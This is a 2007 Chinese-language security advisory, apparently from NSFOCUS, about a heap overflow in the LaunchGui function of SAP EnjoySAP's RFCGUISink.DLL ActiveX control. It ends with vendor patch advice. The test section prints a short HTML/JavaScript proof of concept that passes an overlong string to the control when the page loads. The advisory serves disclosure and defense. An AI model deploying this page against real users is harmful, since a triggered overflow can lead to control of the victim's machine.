安全研究
安全漏洞
SAP EnjoySAP RFCGUISink.DLL ActiveX控件堆溢出漏洞
发布日期：2007-07-05
更新日期：2007-07-06
受影响系统：SAP EnjoySAP
描述：
BUGTRAQ ID:
24777
EnjoySAP是流行的SAP图形用户界面。
EnjoySAP所带的ActiveX控件实现上存在缓冲区溢出漏洞，远程攻击者可能利用此漏洞控制用户机器。
EnjoySAP所安装的RFCGUISink.DLL控件中的LaunchGui函数没有正确验证用户输入参数，如果用户受骗访问了恶意页面的话，就可能触发堆溢出，导致执行任意指令。
<*来源：Mark Litchfield （
mark@ngssoftware.com）
链接：
http://www.milw0rm.com/exploits/4149
http://secunia.com/advisories/25959/
*>
测试方法：
警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
<HTML>
<HEAD>
<META http-equiv=Content-Type content="text/html; charset=windows-1252">
<SCRIPT type=text/javascript>
function init()
{
var foo = "";
for(var icount = 0; icount < 1800; icount++)
{
foo = foo + "x";
}
var ngssoftware;
ngssoftware = new ActiveXObject("rfcguisink.rfcguisink.1");
ngssoftware["LaunchGui"](foo, 1, 1);
}
//-->
</SCRIPT>
</HEAD>
<BODY bgColor=#ffffff onload=init()>
</BODY></HTML>
建议：
厂商补丁：
SAP
---
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：
http://www.sap.com/浏览次数：2424
严重程度：0（网友投票）
本安全漏洞由绿盟科技翻译整理，版权所有，未经许可，不得转载
绿盟科技给您安全的保障 |
